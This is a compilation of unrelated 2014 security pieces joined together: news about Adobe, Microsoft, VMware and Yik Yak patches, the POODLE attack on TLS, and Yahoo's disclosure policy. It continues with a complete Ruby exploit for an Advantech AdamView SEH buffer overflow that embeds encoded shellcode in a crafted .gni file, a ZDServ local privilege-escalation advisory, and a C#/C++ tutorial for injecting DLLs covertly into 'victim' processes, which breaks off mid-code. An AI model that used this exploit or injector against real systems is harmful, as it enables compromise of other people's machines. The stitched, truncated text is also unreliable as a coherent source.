Aerosol

As expected, Adobe today patched a vulnerability in Adobe Reader disclosed last week by Google’s Project Zero. What was unexpected was a Flash Player update that includes a patch for a vulnerability being exploited in the wild, Adobe said. Adobe had announced last Thursday in its pre-notification advisory that it would be issuing a security update for Adobe Reader and Acrobat, but no mention of the Flash update was made. Adobe has been busy shoring up Flash Player security with two updates in November, including an out-of-band emergency fix for a remote code execution vulnerability already included in a number of popular exploit kits. Earlier in November, Adobe patched 18 vulnerabilities in Flash Player as part of its regular update cycle. Today’s patches affect version 15.0.0.239 and earlier, and 13.0.0.258 and earlier 13.x versions for Windows and Macintosh and 11.2.202.424 and earlier for Linux. All except the Linux bug received Adobe’s most severe priority warning. In all, the update patches six vulnerabilities, Adobe said, with the public exploit targeting CVE-2014-9163. Researcher bilou of HP’s Zero Day Initiative reported the issue to Adobe. “These updates address vulnerabilities that could potentially allow an attacker to take control of the affected system,” Adobe said in its advisory. The Adobe Reader and Acrobat update patches 20 vulnerabilities, including CVE-2014-9150, which could allow an attacker to escape the Reader sandbox and attack the underlying computer. On Dec. 1, researcher James Forshaw, a well-known bug-hunter and Project Zero member, went public with details of a sandbox escape vulnerability in Reader, as well as exploit code. Per its policy, Google’s security research team discloses vulnerability details 90 days after it shares those details with the vendor in question. In this case, the vulnerability was partially addressed earlier by Adobe after it was reported in August. Adobe tweaked Reader in order to make exploiting the vulnerability much more difficult. The flaw, however, had not been patched. Adobe’s adjustment to Reader in version 11.0.9 prevented the vulnerability from using the broker file system hooks to create directory junctions, Forshaw said. The vulnerability is a race condition in the MoveFileEx call hook in Reader which, if exploited, bypasses the built-in sandbox and allows an attacker to write files in arbitrary locations. Today’s update patches the flaw in Adobe Reader 11.0.09 and earlier, and 10.1.12 and earlier, as well as Acrobat 11.0.09 and earlier, and Acrobat 10.1.12 and earlier for Windows and Macintosh, Adobe said. Adobe also released security hotfixes for ColdFusion, its web application development platform. The update patches one vulnerability in ColdFusion 11 and 10 for Windows. “These hotfixes address a resource consumption issue that could potentially result in denial of service for ColdFusion running on Windows,” Adobe said, adding it is not aware of public exploits. ColdFusion 11 users should look for Hotfix version Update 3 and ColdFusion 10 should apply Hotfix version Update 15, Adobe said. Source

Yik Yak, an application that allows users to share purportedly anonymous status updates with others near them, has fixed a critical vulnerability in its iOS app that could have de-anonymized users and let attackers take total control of someone’s account. Yik Yak’s security team was apparently notified of the vulnerability last Tuesday and pushed a new build, 2.1.3, to address it on iOS the following day. The app’s main problem stemmed from Flurry, a Yahoo-owned, third party advertising and analytics tool that Yik Yak uses to keep track of users and serve up customized ads. While Yik Yak, like any formidable app should, encrypts user information and sends it over HTTPS, Flurry, by default, disables HTTPS. According to Sanford Moskowitz, an intern at the cloud security firm SilverSky Labs, that wasn’t the only issue with the app. Since Yik Yak – which is sort of an amalgam of Twitter and GPS – is based on anonymity, there are no passwords, which means that the only way to identify users is via their user ID, a string of characters that associates users with the app. Moskowitz described his research in a blog post, ‘Yak Hak: Smashing the Yak,” last week. “If you can find their ID, you have completely compromised the user and you’ll be able to view all their ‘private’ posts,” he warned. This is because, according to Moskowitz, Yik Yak sends Flurry the user ID over plaintext HTTP, a protocol that could be easily sniffed if both the user and attacker are on the same WiFi network. Moskowitz gives an in depth description of how to do that on his blog, but it involves capturing traffic with Wireshark, a popular (and free) packet analyzer. While users can use the tool’s settings to sniff out users themselves, Moskowitz also provides a script in his blog post that can filter through packets of information on its own and point out anyone on the network using the app. Moskowitz even tips would-be sniffers off on the best way to de-anonymize users after they’ve gleaned an ID. After they’ve determined someone’s ID, with a toolkit he’s made public and a jailbroken iPhone, anyone could easily “take complete control over” an account, he claims. Moskowitz, a computer science major at New York University, points out that a similar issue exists in the Android version of the app that enables the viewing of communication between the app and its server in plaintext. While the Android version also received an update, complete with “bug squishing,” last Wednesday, it’s unclear whether or not it addressed the bugs Moskowitz is referring to. Email inquiries to the app’s support team were not returned on Tuesday. Launched in late 2013, the app has garnered its fair share of criticism over the last year or so, namely from parents and teachers who claim that its led to instances of bullying in some circles. Yik Yak has attempted to combat those worries by blocking access to the app in predefined geographic areas where there are high schools but that hasn’t stopped dozens of students from getting arrested for making threats via the service. As should be expected, the app has both a lengthy terms of service and privacy policy that make it clear that submissions made to the service are done on a “non-proprietary and non-confidential basis,”something that suggests that information shared with the app may not be as anonymous as its billed. “The internet is scary,” Moskowitz states at the end of his writeup, “Consider keeping private thoughts to yourself.” Source

Microsoft exits 2014 the way it came in to the year, with a relatively quiet set of Patch Tuesday security bulletins. As promised last week, Microsoft released seven bulletins today, three of them rated critical, meaning the chance of exploit and remote code execution is high. Microsoft also re-released two bulletins today: MS14-065, a cumulative IE update from November and MS14-066, the patch for a vulnerability in Schannel, a technology used in Windows to implement SSL and TLS for secure communication. The IE update released last month was causing a number of issues, including crashes in certain circumstances, websites or error messages not displaying properly in certain versions of IE, as well as other functionality issues. Issues with the Schannel original patch, released in November, cropped up early and users reported issues with failed TLS negotiations. The problem applied to TLS 1.2 in particular where processes would become unresponsive; Microsoft recommended at the time that users disable support for some of the cipher suites added in the patch. Today’s new bulletins include another cumulative update for Internet Explorer, MS14-080 which patches 14 memory corruption and ASLR bypass vulnerabilities in the browser. The update is rated critical by Microsoft for IE 6-11 on the client side, and is rated moderate for IE6-11 on Windows servers. “The security update addresses the vulnerabilities by modifying the way that Internet Explorer handles objects in memory, by preventing the XSS filter in Internet Explorer from incorrectly disabling HTML attributes, by helping to ensure that affected versions of Internet Explorer properly implement the ASLR security feature, and by modifying how the VBScript scripting engine handles objects in memory,” Microsoft said in its advisory. Microsoft also issued an Exchange patch that was originally slated for release in November, but was held back to this month. MS14-075 is rated important by Microsoft and handles four vulnerabilities in Exchange Server 2007, 2010 and 2013. Three of the vulnerabilities are in Outlook Web Access (token spoofing and cross-site scripting flaws), while the remaining flaw is a URL redirection vulnerability in Exchange Server. Microsoft patched a pair of Office vulnerabilities in MS14-081, all rated critical. The two bugs, in Word and Office Web apps, could allow remote code execution if a malicious Office file is opened. Microsoft said affected products include: Microsoft Word 2007; Microsoft Office 2010; Microsoft Word 2010; Microsoft Word 2013; Microsoft Word 2013 RT; Microsoft Office for Mac 2011; Microsoft Word Viewer; Microsoft Office Compatibility Pack; and for affected Microsoft Office services and Web Apps on supported editions of Microsoft SharePoint Server 2010; Microsoft SharePoint Server 2013; and Microsoft Office Web Apps Server 2013. The final critical bulletin, MS14-084, addresses a remote code execution vulnerability in the VBScript Scripting Engine in Windows. The same vulnerability is present on Windows servers, but Microsoft has rated the flaw moderate for server software. A user visiting a malicious website via Internet Explorer could trigger the vulnerability, Microsoft said. “An attacker could also embed an ActiveX control marked “safe for initialization” in an application or Microsoft Office document that hosts the IE rendering engine,” Microsoft said in its advisory. “The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit this vulnerability.” The three remaining vulnerabilities were all rated important by Microsoft: MS14-085: an information disclosure vulnerability in the Microsoft Graphics Component in Windows MS14-082: a remote code execution use-after free vulnerability in Microsoft Office affecting Office 2007, 2010, 2013 and 2013 RT. This one is rated important because it cannot be exploited automatically by simply reading an email, Microsoft said. MS14-083: patches two remote code execution vulnerabilities in Microsoft Excel. One of the flaws is a global free remote code execution bug, and the other is an Excel invalid pointer remote code execution flaw. Both require the user to open an infected attachment or click on a link. Source

The POODLE attack against SSLv3 that researchers from Google revealed earlier this year also affects some implementations of TLS and vendors now are scrambling to release patches for gear affected by the vulnerability. Soon after the POODLE attack was disclosed in October, researchers began looking into whether it might affect protocols other than SSLv3. It quickly became clear that under some circumstances, TLS. the replacement protocol for SSL, would be vulnerable to POODLE, as well. Researcher Adam Langley of Google wrote a scanner to look for sites that are using TLS and are vulnerable to the attack. POODLE is an attack that allows an attacker to take advantage of the fact that when a secure connection attempt fails, under some circumstances the Web server will fall back to an older protocol and try to renegotiate the secure connection. If the server supports SSLv3, an old protocol, and the attacker can force the failed connection attempt, the attacker can then execute a padding oracle attack against the server and eventually decrypt the contents of the secure connection. “We’re removing SSLv3 in favour of TLS because TLS fully specifies the contents of the padding bytes and thus stops the attack. However, TLS’s padding is a subset of SSLv3’s padding so, technically, you could use an SSLv3 decoding function with TLS and it would still work fine. It wouldn’t check the padding bytes but that wouldn’t cause any problems in normal operation. However, if an SSLv3 decoding function was used with TLS, then the POODLE attack would work, even against TLS connections,” Langley wrote in a blog post explaining the issue with TLS. “Unfortunately, I found a number of major sites that had this problem. At least one of whom I had good enough contacts at to quickly find that they used an F5 device to terminate connections.” F5, which sells a variety of security and other appliances, has released patches for its affected products. Langley also discovered that some products from A10 Networks are vulnerable to the POODLE attack on TLS, but it took two weeks for him to get in touch with the right contact at the company. A10 is due to release its patches on Tuesday. Langley also noted that there may well be other vendors with vulnerable products that haven’t been discovered yet. “This seems like a good moment to reiterate that everything less than TLS 1.2 with an AEAD cipher suite is cryptographically broken. An IETF draft to prohibit RC4 is in Last Call at the moment but it would be wrong to believe that RC4 is uniquely bad,” Langley said. Source

VMware released a handful of patches late last week to fix several vulnerabilities, including a nasty cross-site scripting issue in one of its server virtualization platforms. The vulnerabilities lie in VMware’s vCenter Server Appliance (vCSA) – a module for VMware’s vCenter Server. The main bug, an XSS vulnerability (CVE-2014-3797) was dug up by Tanya Secker, a researcher at Trustwave Spiderlabs and could have been exploited if an attacker got a user to click on a malicious link or gotten them to click through to a malicious web page. This vulnerability really only affects vCSA 5.1 and at-risk users can upgrade to 5.1 Update 3. The second issue (CVE-2014-8371) – discovered by Google’s security team – could have allowed an attacker to carry out a man-in-the-middle attack against the infrastructure’s Common Information Model (CIM) service. The main problem here is that before the patch, vCenter Server didn’t properly validate certificates when connecting to CIM servers on an ESXi host. Users running all versions of vCenter Server are vulnerable to the certificate issue and to fix it they can either replace or apply a patch to bring their systems up to date with either 5.5 Update 2, 5.1 Update 3, or 5.0 Update 3c, depending on the product they’re running. Six CVEs in three different third-party libraries, ESXi Python, ESXi Curl, and ESXi libxml2, were also addressed last week. While WMware isn’t planning on patching those issues in the older ESX 5.0, it has pushed patches for ESXi 5.1 and is awaiting patches for the most recent build, ESXi 5.5. The update also brings both vCenter Server and vCenter Update Manager up to date with Oracle Java SE’s last Critical Patch Update. As each product version is different, patches are still pending for 5.0, patches are available for 5.1, and there will be no patches for 5.5. Per usual VMware is urging users to review the patch/release notes to verify if they’re running an affected version and patch it. If need be, VMware is encouraging end users with any questions to direct them to VMware’s support. Source

Yahoo officials say that the company will disclose any new vulnerabilities that the company’s security team finds within 90 days of discovery. The new policy is the same one used by Google’s Project Zero, a team of researchers that looks for vulnerabilities in a variety of commonly used software packages and platforms. That team has been quite prolific in recent months, finding bugs in a number of products from Microsoft and Apple, among others. When a Project Zero member finds a new vulnerability, the team notifies the affected vendor and the clock starts running. If the vendor hasn’t patched the flaw, the team will make the bug details public after 90 days, barring any extenuating circumstances. Now Yahoo’s own internal security team is adopting the same time frame. Yahoo has been assembling a talented security team in the last few months, having hired Alex Stamos as its CISO and Chris Rohlf to head up is penetration testing team. Rohlf said that his team spends its time banging on Yahoo’s own custom software, as well as the third-party products the company uses, and when a new flaw is found, the team immediately deploys a fix on its own systems. It then notifies others in the community that may be affected, as well as the US-CERT. Many large software vendors, Web companies and other organizations have internal teams that are doing similar work to Yahoo’s penetration testing group. But not all of them have public policies like Yahoo’s and Google’s, terms that let vendors and other researchers know what the team is committed to doing. Rohlf said that the three-month disclosure timeline provides the best chance that new bugs will be patched relatively quickly. Source

#!/usr/bin/env ruby # Exploit Title: Advantech AdamView (.gni) SEH Buffer Overflow # Date: Dec 09 2014 # Vulnerability Discovery: Daniel Kazimirow and Fernando Paez - Core Security # Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com> # Software Link: http://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-179WGW # Version: 4.30.003 # Tested on: Microsoft Windows XP SP3 EN [Version 5.1.2600] # CVE: CVE-2014-8386 # Advisory ID: CORE-2014-0008 filename = "crash-it.gni" buf = "A" * 1022 seh = 134 # bad chars '\x61 .. \x7a' # pop mspaint sc = "\xb8\x99\x4e\x83\xd1\x2d\x1f\x10\x10\x10\x50" + "\xb8\xcb\xaf\xe6\x3e\x50\xb8\xc5\xf9\x87\x7b" + "\x2d\x1f\x1f\x1f\x1f\x50\xb8\x9f\x7b\x5d\x8b" + "\x2d\x1f\x16\x16\x16\x50\xb8\x8a\x27\xe6\xa0" + "\x2d\x1f\x10\x10\x10\x50\xb8\x1e\x12\x8a\x16" + "\x50\xb8\x09\x7b\x7e\x17\x2d\x1f\x11\x11\x11" + "\x50\xb8\x3f\x2a\x50\x85\x50\xb8\xc9\x97\x1d" + "\x82\x2d\x1f\x10\x10\x10\x50\xb8\x9d\x81\x7b" + "\xc2\x2d\x1f\x17\x17\x17\x50\xb8\xca\x1d\x8a" + "\x59\x2d\x1f\x10\x10\x10\x50\xb8\x20\x42\xfd" + "\xb4\x50\xb8\x1e\xe1\x94\x85\x50\xb8\x82\x94" + "\xa3\x85\x2d\x1f\x10\x10\x10\x50\xb8\x38\xc9" + "\x4c\xf7\x50\xb8\x33\xda\x17\x4d\x50\xb8\x42" + "\x82\xb6\xf8\x2d\x1f\x10\x10\x10\x50\xb8\x91" + "\xa6\xd0\xe7\x2d\x1f\x10\x10\x10\x50\xb8\x56" + "\xca\x13\xb6\x50\xb8\x8f\x4a\x57\xa1\x2d\x1f" + "\x10\x10\x10\x50\xb8\x1a\x4f\xda\x7e\x2d\x1f" + "\x10\x10\x10\x50\xb8\x93\x1a\xcb\xb9\x50\xb8" + "\xd0\x15\x7e\xad\x50\xb8\xf0\xe4\xaa\x2b\x50" + "\xb8\xec\x43\xd9\x88\x50\xb8\x17\x39\xfd\xfd" + "\x50\xb8\xdb\x3a\x40\xfa\x50\xb8\x9a\xfd\x9f" + "\x8f\x50\xb8\xa3\x31\x12\x4d\x50\xb8\x5a\xff" + "\x2d\x9e\x50\xb8\xa9\xfc\xfb\x4f\x50\xb8\x84" + "\xe2\x7b\xa1\x2d\x2f\x2d\x2d\x2d\x50\xb8\x84" + "\x98\xad\x7b\x2d\x1f\x14\x14\x14\x50\xb8\x2d" + "\x1c\x91\x38\x50\xb8\x22\xcb\x39\x23\x50\xb8" + "\x07\xf4\x4c\x89\x50\xb8\xc7\x7f\xec\xee\x50" + "\xb8\xa2\x3a\x2f\xcf\x50\xb8\xe9\x2d\x7c\xde" + "\x50\xb8\xcb\x40\x83\x9a\x2d\x1f\x10\x10\x10" + "\x50\xb8\x8d\xfe\x7e\x4b\x50\xb8\x10\x0d\x3b" + "\x7b\x2d\x1f\x10\x10\x10\x50\xb8\x2d\x2e\xe8" + "\xe9\x50\xb8\xea\x10\xe7\xd7\x2d\x1f\x10\x10" + "\x10\x50\xb8\xe2\x0a\x7b\x83\x2d\x1f\x1b\x1b" + "\x1b\x50\xb8\x8d\xfb\xc4\x04\x50\xb8\xe5\xa6" + "\x34\x7f\x2d\x1f\x10\x10\x10\x50\xb8\xaf\xf9" + "\x91\x7b\x2d\x1f\x1c\x1c\x1c\x50\xb8\x19\x38" + "\x44\x4d\x50\xb8\xd1\xc7\xb3\x2a\x50\xb8\x22" + "\x7b\x27\xf3\x2d\x1f\x11\x11\x11\x50\xb8\x23" + "\x42\x7b\x27\x2d\x1f\x11\x11\x11\x50\xb8\xb1" + "\x32\x83\xc2\x50\xb8\xf4\x5a\x31\xc9\x50\xb8" + "\xc2\xe9\x84\x34\x2d\x1f\x10\x10\x10\x50\xb8" + "\xbd\x24\x3b\x5b\x50\xb8\x90\x90\xda\xc3\x50" buf[seh-4,4] = "\xeb\x0a\x41\x41" # jmp $+16 buf[seh,4] = [0x22b0249b].pack("V").force_encoding("utf-8") # ppr buf[seh+8,6] = "\x81\xc4\x54\xf2\xff\xff" # add esp,-3500 buf[seh+14,sc.size] = sc buf[seh+(14+sc.size),2] = "\xff\xd4" gni_file = "\x41\x47\x4e\x49\xae\x01\x04\x00" + "\x27\x48\x00\x00\x27\x48\x00\x00" + "\x27\x48\x00\x00\x27\x48\x00\x00" + "\x27\x48\x00\x00\x27\x48\x00\x00" + "\x27\x48\x00\x00\x48\x45\x41\x44" + "\x16\x00\x27\x00\x00\x00\x00\x00" + "\x00\x00\x32\x00\x00\x00\x00\xff" + "\x00\x00\x00\x00\x80\x02\xe0\x01" + "\x53\x57\x50\x4c\x30\x00\x00\x00" + "\x00\x00\x01\x00\x00\x00\xfe\xfe" + "\xff\xff\xff\xff\xff\xff\xff\xff" + "\xff\xff\xff\xff\xff\xff\x00\x00" + "\x00\x00\x00\x00\x00\x00\xb0\x04" + "\x00\x00\xb7\x01\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x42\x54" + "\x53\x4b\x76\x00\x01\x00\x00\x00" + "\x2a\x01\x01\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x01\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x05\x00\x00\x00" + "\x54\x41\x53\x4b\x31\x00\x00\x00" + "\x00\x00\x00\x01\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x02\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xc8\x42\x45\x54\x53\x4b\x50\x57" + "\x50\x4c\x3d\x00\x00\x00\x00\x00" + "\x01\x00\x00\x00\xff\xff\xff\xff" + "\xff\xff\xff\xff\xff\xff\xff\xff" + "\xff\xff\xff\xff\x16\x00\x00\x00" + "\x1d\x00\x00\x00\xc6\x04\x00\x00" + "\xbc\x01\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x07\x01" + "\x00\xfe\x03" + buf + # '\xfe\x03' controlled buffer size "\x00\x50\x45\x4e\x44\x46\x56\x4b" + "\x53\x24\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x01\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x4e\x45\x54" + "\x4b\x41\x44\x41\x4d\x56\x69\x65" + "\x77\x00\x00\x00\x00\xd0\x07\xd0" + "\x07\x01\x00\x00\x00\x01\x00\x00" + "\x00\x5a\x45\x4f\x46" bug = gni_file File.open(filename,"wb") do |fp| fp.write(bug) fp.close end Source

# Exploit Title:mobilis 3g mobiconnect 3G++ ZDServer 1.0.1.2 Service Trusted Path Privilege Escalation # Date: 07/12/2014 #Author: Hadji Samir s-dz@hotmail.fr #Product web page: http://www.3G.dz/ http://www.mobilis.dz/ #Affected version: 1.0.1.2 #Tested on: Windows 7 (FR) # Thanks Rachid Ben elkharchi mobilis 3g mobiconnect 3G++ 'ZDServ.exe' service for Windows. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application. C:\Users\samir>sc qc ZDServ [SC] QueryServiceConfig réussite(s) SERVICE_NAME: ZDServ TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ZDServ DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Program Files\Hostless Modem\MOBICONNECT\ZDServSetup\ZDServ.exe Tout le monde:(I)(F) AUTORITE NT\SystŠme:(I)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Utilisateurs:(I)(RX) 1 fichiers correctement trait‚sÿ; ‚chec du traitement de 0 fichiers Source

Introduction We have already presented a couple of papers on modifying binaries through IDA Pro and OllyDbg disassembler, where we added functionality to an executable by modifying the code directly, using code caves. However, there is a suitable alternative to this approach, in that added functionality code that can be put into a separate file, a DLL file, and this code can be called when the target binary is loaded. The code residing in the DLL usually referred to as malicious code either could run covertly, without being noticed by the user, or the moment when the main executable is loaded in memory, it is invoked automatically. In this, we don’t need to find any code caves, which are empty segments in the existing executable, or worrying about offsets, in order to inject or execute mischievous code. Though the DLL injection mechanism could be implemented separately in a stand-alone application, for user convenience, we are merging this functionality in the software, with the development process having been elaborated in the “Disassembler Mechanized” series. DLL Injection Internal A DLL is typically a Dynamically Linked Library of executable code, referred to as API, which reduces the hassle of repeatedly reproducing common functions. Such API gives an impression of code reusability and can be utilized multiple times in diverse scenarios. The third party program only references the external function from the DLL, and it is loaded into memory and available for manipulation. DLL injection is a process of inserting external code into an existing running process of a machine, in which a piece of malevolent code is triggered-on automatically, without authority or the user’s awareness. The code we usually insert is in the form of a dynamic link library (DLL) during this manipulation, since DLLs are meant to be loaded as needed at run time. DLL is very similar to .exe programs, as it has leverage with custom programming logic in form methods, which are called into another application by referencing it. But it can be differentiated by a single characteristic, which is that there is none of the entry-points in a DLL like an .exe file. DLL Injection is a special tactic of injecting our own custom DLLs into an executable that wasn’t initially set up to consume it. When the victim application loads and the injection happens, before any code of the application is run, the windows loader will load our DLL along with any others the application requires. Whatever piece of code placed inside the DLL main function will be run spontaneously, even without the consent of the user. We can alter the application (target binary) to call our DLL whenever we want to invoke it. Injected DLL is loaded into a running process of a machine; however, such techniques have been used for both genuine and malevolent purposes.Some applications inject external DLL later, to add features to a closed-source program. Apart from that, this procedure is very frequently used to spread out prevalent spyware programs. DLL Injection can be exhausted to perform multiple operations, for instance cracking an application, patching a binary, unpacking a binary, key generation and virus code writing. Prerequisite VC++ VS 2010 IDE Process Explorer IDA Pro (optional) Target binary FILL OUT THE FORM BELOW TO DOWNLOAD THE ACCOMPANYING LAB FILE. UI Design DLL injection features could probably be the last implementation of this software. In fact, this operation functionality is not linked to other control of this software (Injector & Disassembler) like as others earlier. We have placed the entire necessary form controls in tabPage5 to show-off DLL injection as follows: The Listbox control basically enumerates all the running machine processes in order to ease the selection of attaching processes (victim) during DLL injection. The first text box gathers the inject DLL full path via the upload button, and the second textbox displays the selected process from the list box. The Refresh button refreshes the list box in case some service is newly started or terminated. Finally the Inject DLL button injects the DLL into the selected process. Once all the aforesaid form control is placed and arranged in tabcontrol, the design looks something like: Win32 DLL Development The process of DLL injection is deemed to be a cumbersome task and typically passes through various phases. First, we have to develop the DLL. Indeed, this DLL is not a normal DLL which had been created easily by a visual studio Class Library project. Remember that point, the normal class library which contains a couple methods could not fit in this scenario because we can’t define the trigger point for the methods invoking contained in C# class library DLL. Such operation in fact directly confronts with system threading processes to execute the logic contained in the DLL. Suppose we have created a C# DLL, which contains a method in which a message box implementation is defined. So, how will we determine when the message box will be invoked? During DLL injection, we simply inject a DLL into the current running process; we don’t actually define the event or something else to invoke the DLL methods. Hence, we shall go ahead with the following steps to make VC++ class library. Open Visual Studio 2010 | New Project | Win32 Console Application | get a solution name as DLLlib | Hit OK button. Hit Next | Select DLL as Application type | and Empty Project | Finish. Go to Solution Explorer | right-click on Source Files | Add new C++ file | name it as xyz.cpp Open the xyz.cpp file and paste the following code over there. #include "Windows.h"; BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved) { switch (trigger) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected", MB_OK); ShellExecute (NULL, L"open", L"D:\EncryptCrack.exe", NULL, NULL, SW_SHOW ); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK); break; } return TRUE; } Now build the solution using F6 (or from Build menu). If everything is put correct order, the solution builds successfully and DLLlib.dll would be created in the Debug folder of the DLLlib project. We typically can’t test it independently like an .exe file until we reference it into another solution. Although, rundll32.exe could streamline our objective to ad-hoc testing the functionality of DLL The rundll32.exe would execute the DllMain method of the DLLlib.dll by showing the message box and encryptCrack.exe consequently. The DLL file typically doesn’t have an entry point, so it is not possible to directly execute it, even if we implement the message box invoking logic. Hence, we are using here, the DllMain method as an entry point of this DLL because we intend to show a message box or execute another .exe file from the DLL itself through this code. BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved) {..} The prime objective of creating this kind of DLL is because we must implement a functionality which attaches a triggering event to a victim process, in order to execute such message box or executable, as we stated earlier. Hence, we shall use the DLL_PROCESS_ATTACH method to imitate the message box automatically while injecting the DLL into another process. Here, we can mention the message box or other .exe invoking code in the handle and in the DLL_PROCESS_DETACH handle, we could eject the injected DLL entry from the victim process as: case DLL_PROCESS_ATTACH: MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected", MB_OK); ShellExecute (NULL, L"open", L"D:\EncryptCrack.exe", NULL, NULL, SW_SHOW); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK); break; Getting Started So, we have created the DLL in the previous section, which would be injected in the victim process covertly. Here, we achieve some rudimentary operation first, for instance calculating all running processes on the machine for this purpose, the ShowProcess() method is employed in which all the running process are added to List box as: private void ShowProcess() { Process[] process = Process.GetProcesses(); foreach (Process prs in process) { listProcess.Items.Add(prs.ProcessName); } } Later, add a click SelectIndexChanged even handler for tabcontrol and place the ShowProcess() method definition there, so that when the user switches to a particular DLL injection tab, the list box populates with entire system process as: private void tabControl1_SelectedIndexChanged(object sender, EventArgs e) { ShowProcess(); } When the user selects a process from the List box, its reference is placed in the text box automatically as: private void listProcess_SelectedIndexChanged(object sender, EventArgs e) { txtProcess.Text = listProcess.SelectedItem.ToString(); } Although the list box shall populate all the system processes, in case of terminating an existing process or starting a new process, it is necessary to update the current running process in the list box as: private void btnRefresh_Click(object sender, EventArgs e) { listProcess.Items.Clear(); ShowProcess(); } The Upload button is responsible for opening a file open dialog, in order to select the path of DLL file, which is going to be injected in the process. private void btnDLLupload_Click(object sender, EventArgs e) { OpenFileDialog openDLL = new OpenFileDialog(); openDLL.Filter = "Library | *.dll"; if (openDLL.ShowDialog() == DialogResult.OK) { txtDLLInject.Text = openDLL.FileName; } } Injecting DLL Implementation This section is showcasing the real action of DLL injection in the running system process. There are multiple ways for injecting a malevolent DLL into a process surreptitiously, mainly through Windows API or Debugging API. In Windows API, we have a couple of functions that allow us to attach and manipulate into other programs for debugging purposes and to perform the DLL Injection operation. Another method of DLL injection is to use the Windows provided API for debugging purposes. This allows us to keep the thread within the scope of which we are dealing. That is, we can save the registers, save the instruction pointer (EIP), and save the state of the stack. The DLL injection process typically breaks down into these steps: Attach to the process. Allocate Memory within the process. Copy the DLL into the process’s memory as well as determine appropriate memory addresses. Instruct the process to execute your DLL. Implement a Method to eject DLL from the running process. Generally, a DLL is loaded into memory using a special stub (dummy modules) dropper, which is practiced by malicious programs. The stubs could be anything, for instance a Run-Once registry key, binary loader, or manipulated via Metasploit. In order to replicate the DLL, we need to complete the equivalent of our rundll32.exe command, and then the main function of the DLL can take care of the rest. Each one of aforesaid phases, however, can be accomplished through employing a couple of sophisticated programming techniques, which are summarized in the below figure. As we stated earlier, this is a very complicated task, and we shall have to employ a couple of Windows API of kernal32.dll, in order to inject a DLL into running process. Here, we are actually trying to vacate a slot in the memory manually via threading and placing the DLL over there programmatically. We are going to write a series of Windows API definitions. The following code shall be placed after the constructor project. We are elaborating it step by step as: CreateRemoteThread –We shall create an ad-hoc thread into the victim process in order to place the DLL. Hence, this method is positioning the information from the DLL into a new thread in the target victim process as: [DllImport("kernel32")] public static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, UIntPtr lpStartAddress, // raw Pointer into remote process IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId ); OpenProcess - The OpenProcess() function obtains handle information from the process in order to interact with the process as well as maintaining certain access rights of the process. [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess( UInt32 dwDesiredAccess, Int32 bInheritHandle, Int32 dwProcessId ); CloseHandle – The CloseHandle() method disconnect the connection to the process in case of occurrence of any error while accessing the process. [DllImport("kernel32.dll")] public static extern Int32 CloseHandle(IntPtr hObject); VirtualFreeEx – This method takes some amount of memory to vacant the slot to execute the DLL because it is mandatory to free some data before placing any external data to an existing process. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern bool VirtualFreeEx( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType ); GetProcAddress – This method obtains the address of a victim process. [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)] public static extern UIntPtr GetProcAddress(IntPtr hModule,string procName); VirtualAllocEx –This method VirtualAllocEx() allocates adequate memory to funding a string which contains the path to the DLL. It typically allocates some memory which we are going to write to. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect ); WriteProcessMemory – Now, we shall use the WriteProcessMemory() method to copy the to-be-injected DLL to the victim process as: [DllImport("kernel32.dll")] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, 